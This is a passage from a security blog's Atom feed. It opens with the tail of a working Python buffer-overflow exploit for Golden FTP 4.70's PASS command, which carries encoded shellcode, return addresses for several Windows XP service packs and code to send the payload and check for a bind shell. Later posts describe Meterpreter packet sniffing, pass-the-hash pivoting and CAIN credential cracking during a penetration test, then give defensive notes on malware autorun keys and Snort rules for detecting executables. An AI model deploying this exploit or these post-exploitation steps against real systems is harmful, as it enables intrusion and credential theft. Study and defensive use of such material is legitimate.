+\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x9e\xf0\x04\x63\xe0\x57\xf6\x6a\x88\xb1\xef\xe0\x4a\x78" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x63\xdb\xcf\xe6\xde\xcf\xe9\x2c\x94\x5f\xef\x28\x2a\xdc" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xcd\x7a\xb2\x13\x88\xb1\x8d\x40\xcf\x0c\xf9\x52\x2f\xbc" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xd4\x34\xad\xb0\x45\xfb\xe2\xa3\xab\xa7\x46\xf6\x83\x38" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xe0\x36\x75\x7a\x6f\x96\xb3\x4f\xbe\xb9\x17\xbd\xea\x0e" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xf9\x10\x62\x2e\x91\x69\x28\xeb\xe6\x07\x23\x0f\xf6\x26" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x4a\xec\xba\xd8\x74\xba\xe6\x38\xb3\x56\x13\xf1\x8d\x70" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x98\xc9\x60\xcf\x9c\xf5\x1f\x8f\x8f\x04\x6c\x61\x63\x25" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x87\x89\x1d\x58\x4f\x18\xca\xcb\x11\x03\x24\x6b\xa6\xbd" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x47\x90\x43\xc5\x9f\x3f\xc8\x64\x3a\xcc\x69\xc7\x9c\x2d" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x19\xc1\x67\xfa\x07\xcb\xd7\x92\x83\x23\x50\xdf\xa2\xd8" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x08\xa8\xec\x43\xbb\xda\x10\xc2\x0b\x30\xb7\xdd\xbd\x33" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x6a\x18\x98\x1e\xc1\x5e\x77\xeb\xe8\x21\x4e\x18\x60\x6f" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x60\x5c\x99\xb6\x7e\x28\xdb\xda\x40\xea\x8c\xc7\x5c\x70" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x7f\xd1\x61\xaf\x42\x25\x8d\xec\xb9\xde\x5f\x40\xa2\xa2" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xe2\x39\x6f\x85\x54\xd3\xa0\xef\x4c\x08\x23\xb5\x88\x85" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xc0\xfc\xd2\x50\x68\x5b\x93\x33\x8a\x6e\xf8\x4d\x79\xa8" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x29\x56\x39\xee\x4f\xd2\x49\x48\x4e\x0e\x1c\x8a\xd5\xa6" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\xd0\x94\xfb\xda\x22\x3d\xf4\x22\xe7\x54\xff\xa2\x05\xc4" +\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;"\x8c\xc7"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;if len(sys.argv) &amp;lt; 5:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;print "[-]Usage: %s &amp;lt;src addr&amp;gt; &amp;lt;target addr&amp;gt; &amp;lt;shellcode&amp;gt; &amp;lt;platform&amp;gt;" % sys.argv[0]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;print "\tshellcode = (calc|shell)"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;print "\tplatform = (sp0|sp2|sp3)"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;print "\tExample: ./gftp-sploit.py 1.2.1.2 5.6.5.4 calc sp2"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;sys.exit(0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;srcaddr = sys.argv[1]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;target = sys.argv[2]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;shellcode = sys.argv[3]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;platform = sys.argv[4]&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# which payload?&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;buf = calc&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;if shellcode == "calc":&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;buf = calc&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;elif shellcode == "shell":&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;buf = cmdshell&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;# address of JMP ESI in Kernel32.dll&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;if platform == "sp0":&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;jmpesi = "\x7b\x15\xe8\x77"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;elif platform == "sp2":&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;jmpesi = "\xc3\x72\x85\x7c"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;elif platform == "sp3":&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;jmpesi = "\x0b\xda\x82\x7c"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;shortjmp = "\x90\x90\x90\x90\xeb\x20\n"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;nopsled = "\x90" * 60&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;padding = "A" * (533 - len(srcaddr + buf + nopsled))&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;payload = nopsled + buf + padding + jmpesi&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;print "\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] Golden FTP PASS Exploit\n\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] Version 2.5, July 8 2011\n\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] Author: Joff Thyer (jsthyer@gmail.com)\n\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] 'Show new connections' must be enabled in GoldenFTP in order\n\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] for this exploit to succeed!\n\&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;[+] Connecting: "+target&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;try:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; s.connect((target,21))&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;except:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; print "[-] Connection to "+target+" failed!"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; sys.exit(0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;print "[+] Sending payload, length = " + `len(payload)`&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s.send(shortjmp);&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s.send("USER anonymous\n")&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s.send("PASS " + payload + "\n")&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s.recv(1024)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;print "[+] Sleeping 2 secs..."&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;time.sleep(2)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;s.close()&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;if shellcode == "shell" and srcaddr == target:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;p = Popen(["netstat","-na"],stdout=PIPE,shell=False)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;netstat = p.stdout.read()&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;shellok = re.search("TCP\s*0\.0\.0\.0:4444.*LISTENING",netstat)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;if shellok:&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print "[+] "+shellok.group(0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;print "[+] Done."&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;sys.exit(0)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-7157124505945718512?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/7157124505945718512/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=7157124505945718512' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7157124505945718512'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7157124505945718512'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/07/revised-golden-ftp-470-pass-overflow.html' title='Revised V2.5 Golden FTP 4.70 PASS overflow exploit'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-636690351739405357</id><published>2011-06-02T10:51:00.000-07:00</published><updated>2011-06-02T10:51:30.308-07:00</updated><title type='text'>Using CAIN to read packet captures during a Penetration Test</title><content type='html'>There are many ways to leverage transitive trust relationships in an environment when performing Penetration Testing.  Once privileged level access is obtained on a single Windows system, hashes can usually be obtained, and it is often the case that shared credentials exist.   In the case of a LANMAN or NT hash environment which only uses LANMAN/NTLMv1 challenge/response and fixed stored hashes, it is known that access to other Windows systems can be trivially obtained through only stored hash possession.&lt;br /&gt;&lt;br /&gt;Within the Metasploit framework, exists the 'windows/smb/psexec' module which works in a similar fashion to the Microsoft sysinternals PSEXEC command, but can also utilize "pass the hash" by setting the SMBPass variable to a LANMAN:NT hash rather than a plaintext password.   This can be a useful way to pivot through to other systems once a single set of hashes is obtained.&lt;br /&gt;&lt;br /&gt;A feature of the Metasploit Meterpreter I found useful in a recent Penetration Test is the 'sniffer' module.   This module will allow you to capture up to 50,000 packets from an exploited system and download the captured data to a libpcap compatible file.&lt;br /&gt;&lt;br /&gt;meterpreter &gt; use sniffer&lt;br /&gt;Loading extension sniffer...success.&lt;br /&gt;meterpreter &gt; sniffer_interfaces&lt;br /&gt;&lt;br /&gt;1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )&lt;br /&gt;2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )&lt;br /&gt;&lt;br /&gt;meterpreter &gt; sniffer_start 2&lt;br /&gt;[*] Capture started on interface 2 (50000 packet buffer)&lt;br /&gt;meterpreter &gt; sniffer_stats 2&lt;br /&gt;[*] Capture statistics for interface 2&lt;br /&gt; packets: 1849&lt;br /&gt; bytes: 444042&lt;br /&gt;&lt;br /&gt;meterpreter &gt; sniffer_dump 2 myfile.pcap&lt;br /&gt;meterpreter &gt; sniffer_stop 2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;During a recent Pen Test, I happened to gain access to a network monitoring system.  This is the near perfect scenario to leverage the meterpreter sniffer module.&lt;br /&gt;&lt;br /&gt;CAIN (www.oxid.it) is most often thought about as a layer 2 network interception and man in the middle tool with an incredibly useful set of password hash analysis and cracking ability.   CAIN has the to perform cryptanalysis using traditional rcrack style rainbow tables, as well as the ophcrack format rainbow tables.   Password cracking can also be done using dictionary or brute force mode.&lt;br /&gt;&lt;br /&gt;What is usually overlooked is that CAIN can read libpcap files and process the contents, parsing out all of the useful various application and O/S password hash formats.   To perform this libpcap file parsing in CAIN is a simple click on the open folder looking icon in the top left of the menu bar.   It is hard to find because the typical "open file" entry does not exist in the file menu.&lt;br /&gt;&lt;br /&gt;I used this capability to parse through sniffer packet captures from compromised systems, and managed to further my intrusion into the environment significantly in the process.   Cryptanalysis, dictionary and bruteforce attacks can be leveraged against captured LANMAN/NT challenge response transactions.   Dictionary and bruteforce attacks can be used against Oracle, and MySQL database credentials which are often weak.   SNMP version 1 community strings are obviously plaintext and easy to capture.  MSSQL in older days uses TDS (Unicode XOR with 0xa5) which is easily reversible.   It is also quite interesting to see how much plaintext LDAP can be leveraged for access also.&lt;br /&gt;&lt;br /&gt;Within the Pen Testing context, obtaining access and obtaining passwords with associated cracking time is a huge component.   However, we cannot forget that demonstrating access to real data is important to show there exists real risk.&lt;br /&gt;&lt;br /&gt;I find that the most interesting demonstration of this is to show that you can access database tables.   However, one must tread carefully in this area.  When demonstrating this access, try showing some table names, some column names and such without actually pulling database rows themselves.    The idea is to prove you own it, and you're there without putting sensitive data into your reports.   Redacted screenshots can work well in this context also.&lt;br /&gt;&lt;br /&gt;With regard to database client software, the most challenging area is to get a functional Oracle PL*SQL client working.   The installation is a little tricky but if you have access to a handy and friendly DBA, you can be up and running pretty quickly.   &lt;br /&gt;&lt;br /&gt;Microsoft SQL servers often have the command line utility named OSQL.EXE actually on the server itself, and PWDUMPX is useful for pulling LSA secrets from the Windows registry which often contain database credentials.&lt;br /&gt;&lt;br /&gt;MySQL command line client is a simple installation, especially with Linux distro's like Ubuntu so that should not present much challenge.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-636690351739405357?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/636690351739405357/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=636690351739405357' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/636690351739405357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/636690351739405357'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/06/using-cain-to-read-packet-captures.html' title='Using CAIN to read packet captures during a Penetration Test'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-7475194773214301030</id><published>2011-04-11T06:42:00.000-07:00</published><updated>2011-04-11T07:12:35.431-07:00</updated><title type='text'>Windows XP Startup/Logon Process and Malware</title><content type='html'>Recently I had to rescue my daughter's PC from some nasty malware.   For many security professionals, troubleshooting family systems is a common weekend / after hours challenge, and a lot of us are not in the business of desktop remediation.&lt;br /&gt;&lt;br /&gt;I find that the ISO based whole system virus scanners are not a bad starting point to get rid of the low hanging fruit.  I have used F-Secure, and Kaspersky among others.&lt;br /&gt;&lt;br /&gt;I also find that after the scanning/remediation process, XP registry entries are often still broken leading a lot of people to the point of just re-installing.   Of course, re-installing is sometimes the only option for deeply embedded malware and/or rootkit.&lt;br /&gt;&lt;br /&gt;A tool I found useful when I was poking through the HKEY_USER registry hive was 'USER2SID' since those registry entries are keyed by the SID.   I also found that the malware I was dealing with had re-written the 'exefile' and '.exe' startup shell keys to be its own EXE file which was somewhat frustrating when that malware exe file was finally missing.   (ie: Windows kept asking what program to open an exe with!!)&lt;br /&gt;&lt;br /&gt;Also, age old advice is to remember those program startup registry keys which are often used to infect/re-infect things:&lt;br /&gt;&lt;br /&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce&lt;br /&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run&lt;br /&gt;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run&lt;br /&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;br /&gt;%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup&lt;br /&gt;%systemdrive%\Documents and Settings\username\Start Menu\Programs\Startup&lt;br /&gt;%windir%\Profiles\All Users\Start Menu\Programs\Startup&lt;br /&gt;%windir%\Profiles\username\Start Menu\Programs\Startup&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Don't forget about our old SysInternals tools, particularly 'AutoRuns' and 'Process Explorer' which I continue to find extremely useful.&lt;br /&gt;&lt;br /&gt;The Windows utility SFC.EXE is useful for a diff scan of critical system files as long as it has not been compromised.&lt;br /&gt;&lt;br /&gt;*** Always use READ-ONLY media when in a desktop incident response situation like this otherwise anything goes with regard to what is written to your favorite USB memory stick!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-7475194773214301030?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/7475194773214301030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=7475194773214301030' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7475194773214301030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/7475194773214301030'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/04/windows-xp-startuplogon-process-and.html' title='Windows XP Startup/Logon Process and Malware'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-4321269171941695826</id><published>2011-04-11T06:27:00.000-07:00</published><updated>2011-04-11T06:27:04.549-07:00</updated><title type='text'>Detecting PECOFF EXE/DLL files with Snort</title><content type='html'>Some time ago, I became interested in parsing the PECOFF file format.  As a result, I authored several different Snort rules to detect the transfer of either an EXE or DLL file of different varieties.   Listed below are rules for both i386/32-bit and x86-64-bit.   Additionally, there is a set of rules for UPX Packed EXE files.&lt;br /&gt;&lt;br /&gt;Hopefully readers and Snort fans will find these useful.&lt;br /&gt;&lt;br /&gt;# i386 32-bit EXE over TCP&lt;br /&gt;log tcp any any -&gt; any any (msg:"LOCAL: i386 PE32 EXE File Xfer"; flowbits:isnotset,upx.exe.packed; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&amp;,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; flowbits:unset,upx.exe.packed; sid:4963001; rev:1;)&lt;br /&gt;&lt;br /&gt;# i386 32-bit DLL over TCP&lt;br /&gt;alert tcp any any -&gt; any any (msg:"LOCAL: i386 PE32 DLL File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,&amp;,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963002; rev:1;)&lt;br /&gt;&lt;br /&gt;# x86 64-bit EXE over TCP&lt;br /&gt;alert tcp any any -&gt; any any (msg:"LOCAL: x86 PE32+ EXE File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||64 68|"; byte_test:2,!&amp;,0x2000,16,relative,little; content:"|0B 02|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963101; rev:1;)&lt;br /&gt;&lt;br /&gt;# x86 64-bit DLL over TCP&lt;br /&gt;alert tcp any any -&gt; any any (msg:"LOCAL: x86 PE32+ EXE File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||64 68|"; byte_test:2,&amp;,0x2000,16,relative,little; content:"|0B 02|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963102; rev:1;)&lt;br /&gt;&lt;br /&gt;# UPX Packed EXE over TCP&lt;br /&gt;alert tcp any any -&gt; any any (msg:"LOCAL: i386 PE32 UPX Packed EXE File Xfer over TCP"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&amp;,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; content:"UPX0"; within:172; content:"|00 04 00 00|"; distance:16; within:4; content:"|80 00 00 E0|"; distance:12; within:4; flowbits:set,upx.exe.packed; sid:4963201; rev:1;)&lt;br /&gt;&lt;br /&gt;# UPX Packed EXE over UDP&lt;br /&gt;alert udp any any -&gt; any any (msg:"LOCAL: i386 PE32 UPX Packed EXE File Xfer over UDP"; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&amp;,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; content:"UPX0"; within:172; content:"|00 04 00 00|"; distance:16; within:4; content:"|80 00 00 E0|"; distance:12; within:4; flowbits:set,upx.exe.packed; sid:4963301; rev:1;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-4321269171941695826?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/4321269171941695826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=4321269171941695826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4321269171941695826'/><link rel='self' 